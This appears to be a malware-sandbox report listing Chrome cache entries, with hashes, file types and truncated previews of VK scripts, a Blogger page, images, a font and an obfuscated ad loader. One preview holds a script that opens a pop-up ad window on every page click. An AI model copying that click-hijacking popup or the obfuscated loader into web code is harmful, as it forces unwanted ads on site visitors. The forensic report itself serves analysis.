MD5:	FB49E47E2B9BD947666649FF86AC4347
SHA1:	5F6AE48F9EA3DBF55C31B5633752BFAAA785364F
SHA-256:	88DF5B46964DB236582FA57336D41AB82983C7EDC5FFE1A7FD86F0A2CBD33517
SHA-512:	AB3E327CBD15E1243565EE10F17502A919D61376EF492A52E8AAFBB30A3561CB4E7C7D6080DE22E72E2F94F99B5A95BFBAB1DA6B370B79295952BDD2D3B069FA
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script type='text/javascript'>..document.body.onclick= function(){..window.open('https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f', 'poppage', 'toolbars=0, scrollbars=1, location=0, statusbars=0, menubars=0, resizable=1, width=800, height=600, left = 300, top = 50');..}</script>. Defult metatags -->.<link href='https://sqsq2938.blogspot.com/2024/10/78.html' rel='canonical'/><link href='https://sqsq2938.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/><meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport'/><title>...... ....... ...... 78 </title><meta content='6002409460088195649' id='gels'/><meta content='' name='theme-color'/><meta content='' name='msapplicati

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (27036), with no line terminators
Category:	dropped
Size (bytes):	27039
Entropy (8bit):	5.4814745492206285
Encrypted:	false
SSDEEP:	768:INg2JNm3Mp8WEbXn/aB8aL3KNLObrvVXf8ApLpWFWzZ3S/GoBK9ps4wZ:E/FQX/y84CLWtNW0x2
MD5:	1F81F065BD7B989529E22D714607F519
SHA1:	D039799F00B938E56535583D71FE46DC3B131E09
SHA-256:	7B682207BF25F8EF1F6EC9C7C423AC58DA4C6A74F76B139EED719586EC1A6E95
SHA-512:	CC2DE1342AF32749759CA462E4A0E3F656C98FFCF6D579C71C19A2C9727C1489120447D5C549493585E6322002A189625ACA72467EC99A20CC5C6AFC72C5323B
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[53936],{175661:(e,t,n)=>{n.d(t,{registrationItemStat:()=>i});var o=n(314309);const r=new o.ProductionStatCollector,a=new o.ActionStatCollector(r),i=new o.RegistrationItemStatCollector(a)},122785:(e,t,n)=>{n.d(t,{VK_WEB_AUTH_APP_ID:()=>r,initVkId:()=>a});var o=n(772902);const r=7913379;function a(){const{loginDomain:e,connectDomain:t}=window.vk.apiConfigDomains;o.Config.init({appId:r,loginDomain:e,connectDomain:t})}},171210:(e,t,n)=>{var o;n.d(t,{AuthAppId:()=>o}),function(e){e[e.VK=7913379]="VK",e[e.MVK=7934655]="MVK"}(o\|\|(o={}))},358820:(e,t,n)=>{n.d(t,{showErrorNotification:()=>s});var o=n(474848),r=n(915424),a=n(516742),i=n(211413);function s(e){const t=window.cur;(0,i.showMessageBoxModal)((({onClose:t})=>(0,o.jsx)(r.ModalCardBase,{header:e.title,subheader:e.text,onClose:t})),{hideOnBGClick:!0,onDestroy(){t.zNavInfo&&(0,a.zNav)(t.zNavInfo.info,t.zNavInfo.opts)}})}},731906:(e,t,n)=>{n.d(t,{initJoinVKConnectBut

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (13674), with no line terminators
Category:	dropped
Size (bytes):	13674
Entropy (8bit):	5.593634526929694
Encrypted:	false
SSDEEP:	384:mc9Zj7P7pYtVMejYXXGvIiZhapoz9c3pyslA8ImMaaWd:m0Zj7P7pYtVMXo/25RlA3lcd
MD5:	DE1F55D3AC1ECD9D6DCA9AACE196BD25
SHA1:	FF427ED625094E12035F9B9563F89DF9C53B409A
SHA-256:	F288FAA0FFA4474C9287D04715E83FB7EC6BE56FC61E49E93DEB677D6C697537
SHA-512:	275A988993AB08EF5C3C911E41DBC7D4A504348592DD2098EC25F8C8A9947F756945EBFC3EB22C07C889023D591E2FD86460B6D51CD2719E9FAC65A048A4A457
Malicious:	false
Reputation:	low
Preview:	(function(x){(()=>{'use strict';var __webpack_modules__=x.g(x.x,(e,t)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C)),t[x.o]=t[x.T]=void x.C;const n=x.v,r=[];function a(e){const t=window[x.Xj][x.Bj][x.Pr][x.wK]\|\|n;[window[t]\|\|[],r][x.mr](t=>{const n=t[x.pk](e);n>-x.pr&&t[x.Gk](n,x.pr)})}t[x.o]=function(e,t,a,o,i){let s;try{o instanceof HTMLScriptElement&&(s=o[x.Tr][x.gk](x.Hk)[x.gK])}catch(e){}const c=window[x.Xj][x.Bj][x.Pr][x.wK]\|\|n;window[c]?window[c][x.mr](e=>{e[x.tr]===a&&e[x.wk]&&(a=e[x.wk],s=e[x.xK])}):window[c]=[];const d=x.g(x.zj,e,x.cr,t,x.tr,a,x.xK,s);i&&(d[x.hk]=x.g(x.vk,i)),r[x.Uj](d),window[c][x.Uj](d)},t[x.T]=function(){r[x.mr](a)}},x.r,(e,t,n)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C)),t[x.p]=void x.C;const r=n(x.k),a=x.g(x.H,x.n);t[x.p]=async function(e){const t=await(x.C,r[x.rr])();if(!t)return e;const n=btoa(JSON[x.dj](t)),o=n[x.bj];return e[x.TK](e=>{const t=e[x.bj];return t<x.nk&&(e+=t+o<x.nk?`&ch=${n}`:`&ch=${btoa(JSON[x.dj](a))}`),e})}},x.K,(e,t)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C))

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (418)
Category:	downloaded
Size (bytes):	422
Entropy (8bit):	4.924707806427736
Encrypted:	false
SSDEEP:	6:rSiwf6oU6Gej1VY++m3vMm4R7W1UdAoxAKKNAXW1UdAoxAAp2p3MRlB:Dw9XGexVYTTRq1B9Rv1B9YB
MD5:	CFECB8EF6E9C75E4A39397DD3BEC8438
SHA1:	D6BE820385C161CAD93DE0B73D37528DD1C960DC
SHA-256:	B81EB89BD6746D7DD93586EA983AC075BD6D7E2DDE632A7C722D5F9EB5301233
SHA-512:	A726490A3765408166E183C62C0EFF587478A94EA00FF72BC959FF9ED37A1CBDB5D0F7FAE53B7C894E3E402CBC889CDD1F4B07AA5B4C9C8320922D7EC07D6F23
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/ui_common.43d06ff5.css
Preview:	..SpecialProjectHeader-module__root--QbEJE{width:100%;height:140px;display:flex;justify-content:center;align-items:center;background:no-repeat;background-size:auto 100%;background-position:top;border-top-right-radius:var(--vkui--size_border_radius--regular);border-top-left-radius:var(--vkui--size_border_radius--regular)}.SpecialProjectHeader-module__singleImage--I5Wcs{background-size:100%;background-position:center}.

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65449)
Category:	dropped
Size (bytes):	92112
Entropy (8bit):	5.232801000911321
Encrypted:	false
SSDEEP:	1536:Q7ElTMOVZSsARLQBH4SEs9fJGbT/OerxXeEPuik2vOJ5wFNTqcGZgDwFHdSK:Q7E5rZSsAL0Esth4xXecq2vOJOFNTqc+
MD5:	989A01D1540D87BE6644EFAAF9C4FDCB
SHA1:	208351F83D64119A8E7364CABF612AC1FE3B5839
SHA-256:	1D28BFB782946D893F45FE3491E7ED8792CEEA346AD8F51A73A144CB5BE9F9E4
SHA-512:	BAAB15857FC2D5048D52A6AC572C3C31F1E70AF619104D1EF385D234EAFCAD85763FBD6D2F5D9C1FA5FA9DC54D4112861D6146BF03C88A05E0798450EE6B9AD6
Malicious:	false
Reputation:	low
Preview:	./! For license information please see architecture-mobx.b95ff7c7.js.LICENSE.txt /.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[21529],{439712:(e,t,n)=>{"use strict";n.d(t,{Observer:()=>i});var r=n(114452);function i(e){var t=e.children,n=e.render,i=t\|\|n;return"function"!=typeof i?null:(0,r.useObserver)(i)}i.displayName="Observer"},456921:(e,t,n)=>{"use strict";n.d(t,{Observer:()=>u.Observer,observer:()=>s.observer});n(350724);var r,i=n(729889),o=n(468909),a=(n(114452),n(803815),n(283438)),s=n(356035),u=n(439712);n(335562),n(901154),n(953542);(0,o.observerBatching)(i.unstable_batchedUpdates);r=a.observerFinalizationRegistry.finalizeAllImmediately},356035:(e,t,n)=>{"use strict";n.d(t,{observer:()=>c});var r=n(296540),i=n(803815),o=n(114452),a="function"==typeof Symbol&&Symbol.for,s=a?Symbol.for("react.forward_ref"):"function"==typeof r.forwardRef&&(0,r.forwardRef)((function(e){return null})).$$typeof,u=a?Symbol.for("react.memo"):"function"==typeof r.memo&&(0,r.memo)((f

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	5.555523957151767
Encrypted:	false
SSDEEP:	48:vhIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:q5Keb07LxamE1kQyyQxYKjL
MD5:	DC4E8E1621A0E540DC955F7840DC1CCC
SHA1:	B1B0E59C87E895E712A1F4BB93386FD67895A454
SHA-256:	22F989D5CC20446CB6C9CF5D2BEEFA088C64928238D1DA0AF1877DFEFD1BE190
SHA-512:	19D6F98905679ACBF0909A06887629C82AF523710BF7F8E1F16157877C97470CC09B94BF2EEE8603A0B8B49832A4A68EC64F3FCFAB5A4A8705962D5D64A47AD4
Malicious:	false
Reputation:	low
Preview:	// API callback.jQuery11100049902415236919184_1728945586995({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], baseline, precision 8, 1152x1600, components 3
Category:	downloaded
Size (bytes):	339854
Entropy (8bit):	7.959297667562278
Encrypted:	false
SSDEEP:	6144:kNqCCeDKC0htF6if1mY+Jcf/Qz8ZxKj21JuRGiKV/zKRdtb7jqj2svf:5ReehtF6KgY+Jcf4AZPJiYebtbqKsvf
MD5:	07EB909029F31007F3C196F20E2C6967
SHA1:	C691E9CD9B9EF6FEAA52279712A47821EA959627
SHA-256:	A8862628F0E7DE7B4592387580A49F1C11551D296DB55D185BA5A125ADEC9C17
SHA-512:	E5FE3B112FE6443B2A11B8008F3561814C85E9CCB4CBA45F36D814401C9F16549A8052A82CB2CF120EF2DF1C52F96F20D3C2C139EBF05CBCF24D4517627BC558
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtpR6cISipQPMQTOi9vtx-JohqqdWbtTQEIRvNkY1Wa5Z1BG7Q2clhNFMRPcLlqhgk9MUo_-Xf_PvgkQrh3f9ipQkNBpt616ILI_4UAcG9C9DUBJ1a-vtToI8HWMPgMmUw3qkNwDtiIJiIMO2Ef3PBgpLLZntjsYJCKeYb49ppUuICD1WO37tnL9GVEoc/s1600/demon-slayer-hashiras-and-muzan-poiyga4v7urv2lh4.jpg
Preview:	......JFIF.............lExif..II*.......1.......2...............i.......:.......Google............0220....................@...................................................................................................................................................@...."..........................................U......................!..1A.Qa.."q..2....#BR...br...3..$CS..c...4s.%D...5T...d.....................................=........................!1A.Q."aq.2...B...#...3R..b.$C..r.............?..n.bDkJq$.#]<..Z...v.....o[.P.p.X....m.H.s...:.L..i&.x.q.....h...mI..ii{A..R.j..N.t.WdY7..PTd..!.5.^.>}).:cX.y.s^.m.7.....Q)Q.".1IK..&.5.QA t.N....Le.F..h..Z.2.........H'0V.N..).). .&h.....".S.$$4....:U.0....%DeQ.....u.@.O+.m.b....oHZl..p..L.F[...v.xw..dP.=..W?..$.....O.X....F.....N..^....jK.3...q.C..U[.{!..Q.N..R..VY.....M'.....W.N.Fh...;zU.@2.4........e.Q......A$.D........R`.y......$..M.."...9.@..#X...eJ@.n\|..;V'P .......S.D..uH.)..6._.8.'...3.V.%4..\|..iA...i.

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65433)
Category:	downloaded
Size (bytes):	894847
Entropy (8bit):	5.619709627860283
Encrypted:	false
SSDEEP:	24576:EkXLf//J3IDw3Xx9bCuYYv3f2w7TdhxwQMDuXCRubqoV:bXLfZ3IDwTbCuYYv3f2w7TdhxwQMDuXt
MD5:	9FB308383F5D5A9E996287EC212D59FD
SHA1:	2F4B8F20E455E1A76833CC8DE50D6811612A6186
SHA-256:	83E9749F26C21B937E2BD075025429BD7FBFA43D7BFB81D3C61EEFA56AAC9FE3
SHA-512:	675D60C7DB9E15B7F15FC6C119475FEFCE32E92B447A44BA135F72E1AFE65C264C291445C8EC342560D59C5E8B71241D1CDE945D181A9C3E5BB716C71DE893F4
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/common.8ff2658b.js
Preview:	./! For license information please see common.8ff2658b.js.LICENSE.txt /.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[23592],{511897:(e,t,s)=>{"use strict";s.d(t,{AccountSecurityLevelEnumNames:()=>n});const n={NOTHING_TO_SAY:0,HAVE_ISSUES:1,HAVE_RECOMMENDATIONS:10,GOOD:20}},74605:(e,t,s)=>{"use strict";s.d(t,{BaseSexEnumNames:()=>n});const n={UNKNOWN:0,FEMALE:1,MALE:2}},600222:(e,t,s)=>{"use strict";function n(){return{icon:'<svg fill="none" height="8" viewBox="0 0 12 8" width="12" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M2.16 2.3a.75.75 0 0 1 1.05-.14L6 4.3l2.8-2.15a.75.75 0 1 1 .9 1.19l-3.24 2.5c-.27.2-.65.2-.92 0L2.3 3.35a.75.75 0 0 1-.13-1.05z" fill="currentColor" fill-rule="evenodd"/></svg>',name:"dropdown_12"}}s.d(t,{getIcon12Dropdown:()=>n})},447931:(e,t,s)=>{"use strict";function n(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none" viewBox="0 0 16 16"><path fill="currentColor" d="M10.48 1.07c.55.05

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (37100), with no line terminators
Category:	dropped
Size (bytes):	37103
Entropy (8bit):	5.744995204078657
Encrypted:	false
SSDEEP:	768:E+O7zHrJGy7Ok/GGNKuWiyo7GwLVqa/4xUWQWyQbicZgFQqaSGTt3ph8mLrEnGeA:uBsvNWmdGhX4
MD5:	8AD339FF4CF52440A60615F61BD85CEB
SHA1:	5D7A498E33A4642FFD7932E21CC50D0B70C945CC
SHA-256:	080AD770B51985CBAED1B539C54AD16B3B315A2DFCF0E1EB142403328FB96AE2
SHA-512:	4AAB26A8234B6ED8172B4A832255AB56074C379183E5791165CACA1875A456DA10EEA34965491AD5EA13DB97E950AE55F1C380EA014C5A6F3C3E0B8665C2EAD4
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[81765],{834398:(e,t,i)=>{i.d(t,{initLayers:()=>c});var s=i(754866),n=i(672277),o=i(593159),r=i(633009),a=i(204416);async function l(){return Promise.all([i.e(91498),i.e(89631),i.e(762),i.e(79210),i.e(85125),i.e(23983),i.e(87137),i.e(49190),i.e(80905)]).then(i.bind(i,458840))}const d={sh:function(e,t){(0,s.show)(e),(0,o.isFunction)(t)&&t()},hd:function(e,t){(0,s.hide)(e),(0,o.isFunction)(t)&&t()},visible:!1,_show:function(e,t,i,o){const l="layers"+(boxQueue.count()+1);(0,r.cancelStackPush)(l,(function(){})),(0,s.setStyle)(e,{opacity:i\|\|"",backgroundColor:o\|\|""}),d.visible\|\|(0,n.disableBodyScroll)(),d.visible\|\|((0,a.pauseLastInlineVideo)(),Array.isArray(window.cur.beforeLayersShowHandlers)&&window.cur.beforeLayersShowHandlers.forEach((e=>{"function"==typeof e&&e()}))),d.visible=!0,(0,s.addClass)(document.body,"layers_shown"),t.visibilityHide?(0,s.removeClass)(t,"box_layer_hidden"):(0,s.show)(t),d.sh(e),window.upda

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (11255), with no line terminators
Category:	downloaded
Size (bytes):	11258
Entropy (8bit):	5.543593072660095
Encrypted:	false
SSDEEP:	192:7jH3Bte1k7M9wJpsnWjWNb/WRDNMNMS2+ESPvLeP9iS5z3ZUTdAdXSbR2S:P3l7qu+WKNbuZNMNMS2+ESPvccSd3mTx
MD5:	90AF051D351CB59F8C701E5875A52479
SHA1:	C0F613A5752D00EB4AA78CEEC67C96F4E7DFEB74
SHA-256:	54A3B222F3E007D90659AB155C5C1EC87ECE13BCD3356BA31B3F14194DFA96A9
SHA-512:	5CB2D413406F13DBD12E2765987C93340D4E631C61DE6528D084F646C282ECC352C102DF3480E289BAE4C9EA48BCC21BF343BCE2989E9F903FBC0F4186524FC7
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/videoview.a4eb72e9.js
Preview:	.(()=>{"use strict";var e,s,c,a,n,r,b={64597:(e,s,c)=>{var a=c(636576),n=c(524957),r=c(932153),b=c(557907),_=c(111922);window.vk?.stDomain&&(c.p=window.vk.stDomain+"/dist/"),window.Videoview=window.videoview=n.default,window.VideoPlaylist=r.VideoPlaylist,window.TimeCodesList=_.TimeCodesList,window.VideoInitializer=b.default;try{window.stManager.done(window.jsc("web/videoview.js"))}catch(e){}requestIdleCallback((()=>{try{(0,a.statlogsValueEvent)("entries_requests",1,"videoview","web")}catch{}}),{timeout:5e3})}},_={};function __webpack_require__(e){var s=_[e];if(void 0!==s)return s.exports;var c=_[e]={exports:{}};return b[e].call(c.exports,c,c.exports,__webpack_require__),c.exports}__webpack_require__.m=b,e=[],__webpack_require__.O=(s,c,a,n)=>{if(!c){var r=1/0;for(t=0;t<e.length;t++){for(var[c,a,n]=e[t],b=!0,_=0;_<c.length;_++)(!1&n\|\|r>=n)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](c[_])))?c.splice(_--,1):(b=!1,n<r&&(r=n));if(b){e.splice(t--,1);var u=a();voi

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	dropped
Size (bytes):	11247
Entropy (8bit):	7.930150009398769
Encrypted:	false
SSDEEP:	192:b5LwL1zQFJNBmxAEzfGvVMSmAbAwc2pVGJmcmC2Mr+K4osoS9LTJ//UT:KLBQFJN+fZAbNU1mwXbHS9HJY
MD5:	F44AC786FAB1EDE0DA80EC60C3EEC709
SHA1:	960F61847517DA9D9CCDB6E81FCF8B6F2CB3875B
SHA-256:	F2CB2CDA34525BE406A5575BD37976C5932BED47CEEBDC6D575DDB4CA3BD2938
SHA-512:	6B82D91378A051E7B33A87B222E007716FF8E0A254C25BF7DAB24877B25768799C5F2D3A3AE27B2BB938615AAEEA2F61F5FAB476A1D2EC36B3D438E4750F48D6
Malicious:	false
Reputation:	low
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,.."...............................................................................v...r.9.&t..<..%...n..l...G;Q.2..se....v...2.."$.IZ.>...z..".9..t....7..8n..\T....7"..s:.....v..m.....&..Z.......j.(....8.......Z.UTHT{..L..O....,....Q.{_(d.......!..&..?iA...&\.}W..}..z...t....:.../....J.e........b@.hV..R.u.i.h.N..<.7.-.1..b.>.@.....mKn6..........\|:r.\|..`....).Vv.SY..t.......j#...Yg...'=...Z...0.L(\|r..a,..P,..kk..q.\|.L..9..q...y......V4s.....T...F......QWc.....b..Du0...(H....Z[.."(...IEMf.C..lf9..;[Ti!..0.^...2.8......a....5/...[m...W.;\|na.A.rF.5.^.@f.!.S.X.RgW!...l..............X.~....{u.c....Y=..j....A...BYS.......d.....Q.......W........e.Y...fG....n...f..nk.]U.p0..9.l!....m...R)-.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57212
Entropy (8bit):	5.867940942221977
Encrypted:	false
SSDEEP:	768:PUDeGwmUh69By1+mJDE3iLyWYkr7XMGB/nt0H:8DeGA6sJDE+/g
MD5:	BC5E6C6271508AD735B7A4D3C4E05AA6
SHA1:	161CE6F953D497C68AEF96D8A289DF6228596BF4
SHA-256:	2D436BED719DF011538C1544D4BEECCAFBC477B6D03889FE13C93B7B582CF8E2
SHA-512:	6CEA462CB029FCA8CBF97E01F05AF4F594AF628102724272B283C152E303542183569AEFF9F2162D9551FA28515A61C184BDFDE29A61454CEA6ED17D12B89600
Malicious:	false
Reputation:	low
Preview:	{"iframe":{.."defaults":{"icon":""},.."html":"<html lang=\"en\"><head><meta charset=\"UTF-8\"><meta name=\"robots\" content=\"noindex\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"></head><body><main class=\"sc\"><div class=\"sc__wrp\"><div class=\"sc__sw\"><div class=\"sc__sw__close\"></div><div class=\"sc__sw__icon\"></div><div class=\"sc__sw__heading\">{notificationHeading}</div><div class=\"sc__sw__text sc__sw__text-desktop\">{notificationText}</div><div class=\"sc__sw__text sc__sw__text-mobile\">{notificationTextMobile}</div><div class=\"sc__sw__btn-c\"><button id=\"B2\" class=\"sc__sw__btn sc__sw__btn--allow\">{allowBtn}</button><button id=\"B1\" class=\"sc__sw__btn sc__sw__btn--block\">{denyBtn}</button></div></div></div></main><style>html{line-height:1.15;-webkit-text-size-adjust:100%}iframe{color-scheme:auto}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:conten

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 9044, version 1.0
Category:	downloaded
Size (bytes):	9044
Entropy (8bit):	7.969706720437683
Encrypted:	false
SSDEEP:	192:KHtt0SiL+FCpBU+2cC82T22AzM+gLFe6pjZxxbCaHuPxYezyWHUMfg/7Zh:KHtKSiHH2n8+2ZzMDLjpjZxxb1jIAM0j
MD5:	9C126F6D52144E31BA3DFF2DEF10DCA3
SHA1:	B69B0AED52A809D8CCC41F9A93802EA8B54EC765
SHA-256:	00FAAE007E32DE07F97656EA0E51020C682E1E9010F3C2A46869D9EFF33FA1EE
SHA-512:	E3921A828EF1B3F4615E906F2F88B07087E51C25217ABFDE5A709255F1B4FB489C099798F7B73979A5FB21B2EF30BDBFE82088C509E905B5737FC5A1C2A7BC74
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/tajawal/v10/Iurf6YBj_oCad4k1l4qkHrRpiYlJ.woff2
Preview:	wOF2......#T......pP.."..........................R..\|..P.`..t.....`.>..~..6.$..x. ..~..s....\e....@.7.H..q...#...Nn.)>h..#R)H..P..J#....k....Ck.~.t.R\.m>.]..o...-.&&.kw@F......?....y......t?.U.L.........zt.#$..y~.........Q...l.I)....1r..p.....e......,..S...}..~...8..o....:....~.'I.TS!............#..`..D.a."8.....w......R.?...v.........E8.$..]$.G......d.3.F.....8`..,)..&..2.4.1.\|.C._.V..U.....w..P......a;+\.a..:.......X...w..F...4W.T.8e.s....h.a.....#}.\|D.RrrD...+GvH...u..`"....2.8v.:lK....jv.\....!...C.=..V3Q.($.K.......[.g..i%...I..@.Svi.cL...+.-=qK."...%@....B..`....c.........@B..."PP@....d!.+DPa.d.}0.....:..6H.......C...[.I.........8*...z....o..<L...@H.o4A..f.P.-..Dqx8..<..A.q.R'.RK.I....#.90n #{.t.....\.XFk,/2..B..B.....'.T.tZ......O... .. ...@....)........k...n.d.)..&....d[.@...t\|....b..lC.bi'.S.^.1.....X.@..!Q.....Af6.....s......N.,........27. ......%}.@0...."....d...2P..........\|m...E6.J.5`...<.\|.L.SUO..s.\|..yOB9.4...&...1.N..I.3..4t....

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (28710), with no line terminators
Category:	dropped
Size (bytes):	28713
Entropy (8bit):	5.42240952557107
Encrypted:	false
SSDEEP:	768:Ic5rWkl5vn6hIUdIOFLXCWB43S6H7w0PRXWYkjMJCBr/w5fjHPLRHILDXVfEx2QD:B5rWklJQ0w/pw7HjasVt
MD5:	4CA69645CAE9415EE82E326F20A02132
SHA1:	42DF7379D163D172E8E0D80EFF2667A173C28D2A
SHA-256:	795E099311C8CC807A3233446EEBBD00227223ACABEC5300BF873FFCC5F8A6CB
SHA-512:	7F6470EFDB16FC5DA948CB5F2D2459C5DB38CE4D2D89C8AADB82AAAE504F3B87301D1CC05FB4E18B766DBDB404BB359B808C0CCDF53590DFFEC433C93BD7FDF9
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[37957],{335700:(e,t,i)=>{i.r(t),i.d(t,{UIGallery:()=>h,UI_GALLERY_CLASSNAME:()=>d.UI_GALLERY_CLASSNAME,UI_GALLERY_CONTENT_CLASSNAME:()=>d.UI_GALLERY_CONTENT_CLASSNAME,UI_GALLERY_INNER_CLASSNAME:()=>d.UI_GALLERY_INNER_CLASSNAME,uiGetGallery:()=>_});var o=i(558137),n=i(898848),s=i(939646),r=i(972332),l=i(593159),a=i(754866),d=i(15614);const c=(0,o.makeSharedState)("ui-gallery",(()=>({galleries:{},incIndex:0})),{version:0});function _(e){const t=(0,a.domData)((0,a.ge)(e),"gallery-id");return t&&c().galleries[t]}class h{_checkSizesAndUpdate(){return 0!==this._width&&0!==this._itemWidth\|\|(this._width=Math.round((0,a.getSize)(this._el)[0]),this._itemWidth=(0,a.getSize)(this._items[0])[0],this._itemFullWidth=this._itemWidth+this._itemOffset),!(0===this._width\|\|0===this._itemWidth)}_initScroll(){(this._opts.scrollX\|\|this._opts.scrollY)&&(this._opts.isModernTransitionsEnabled\|\|(0,r.addEvent)(this._innerCont,"DOMMouseScro

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	83379
Entropy (8bit):	5.5881251787511665
Encrypted:	false
SSDEEP:	1536:0y2XCFoHcQ81KTXBvGvRmTxOMJir2w5tqURNVB74+HF45Rd:0nXC3eXc4kMJfw5YUvFFSd
MD5:	89F5B35985B2B91B75ECEDCCC175AC52
SHA1:	EB05692315117C251412153AFCB02962DB5A3142
SHA-256:	8A8A77834294B60CC9E6ECCFB99BBBC5D03439867B3560821818C2463651D232
SHA-512:	434CF85A36FEAAFF2FB9881895955C7511F04354F2D89E34B627B2495626F5719EF5FC5BF80ACC577869D7981109EBA7D7F1B877C90C923F2DB6C9243687C4C6
Malicious:	false
Reputation:	low
Preview:	(function(x){(()=>{'use strict';var __webpack_modules__=x.ir(x.x,(e,t)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.Pj]=t[x.fj]=void x.wr;const r=x.Ar,o=[];function n(e){const t=window[x.UE][x.xg][x.Ub][x.jY]\|\|r;[window[t]\|\|[],o][x.ME](t=>{const r=t[x.aY](e);r>-x.cj&&t[x.Nh](r,x.cj)})}t[x.Pj]=function(e,t,n,i,a){let s;try{i instanceof HTMLScriptElement&&(s=i[x.PW][x.kY](x.nC)[x.lE])}catch(e){}const c=window[x.UE][x.xg][x.Ub][x.jY]\|\|r;window[c]?window[c][x.ME](e=>{e[x.NE]===n&&e[x.Fp]&&(n=e[x.Fp],s=e[x.ZE])}):window[c]=[];const d=x.ir(x.eg,e,x.Eb,t,x.NE,n,x.ZE,s);a&&(d[x.Ag]=x.ir(x.bj,a)),o[x.SG](d),window[c][x.SG](d)},t[x.fj]=function(){o[x.ME](n)}},x.r,(e,t,r)=>{Object[x.QK](t,x.Lj,x.ir(x.qb,!x.wr)),t[x.xk]=t[x.Kk]=t[x.rk]=void x.wr;const 